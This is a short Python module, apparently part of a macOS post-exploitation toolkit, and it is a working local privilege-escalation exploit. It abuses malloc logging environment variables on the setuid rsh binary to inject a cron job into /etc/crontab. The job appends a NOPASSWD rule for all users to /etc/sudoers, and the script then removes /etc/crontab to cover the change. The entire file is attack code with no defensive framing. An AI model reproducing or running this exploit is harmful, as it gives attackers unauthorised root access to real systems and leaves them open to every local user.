# -*- coding: utf-8 -*-
__author__ = "Marten4n6"
__license__ = "GPLv3"

import os
import subprocess
import time

env = {}
old_size = os.stat("/etc/sudoers").st_size
malloc_directory = "a\n* * * * * root echo \"ALL ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers\n\n\n\n\n"

env["MallocLogFile"] = "/etc/crontab"
env["MallocStackLogging"] = "yes"
env["MallocStackLoggingDirectory"] = malloc_directory


def run(options):
    print("Creating /etc/crontab...")

    p = os.fork()
    if p == 0:
        os.close(1)
        os.close(2)
        os.execve("/usr/bin/rsh", ["rsh", "localhost"], env)

    time.sleep(1)

    if "NOPASSWD" not in open("/etc/crontab").read():
        print("Exploit failed.")
    else:
        print("Done, waiting for /etc/sudoers to update...")

        while os.stat("/etc/sudoers").st_size == old_size:
            time.sleep(1)

        print("Exploit completed, you can now execute commands as sudo.")
        subprocess.call("sudo rm -rf /etc/crontab", shell=True)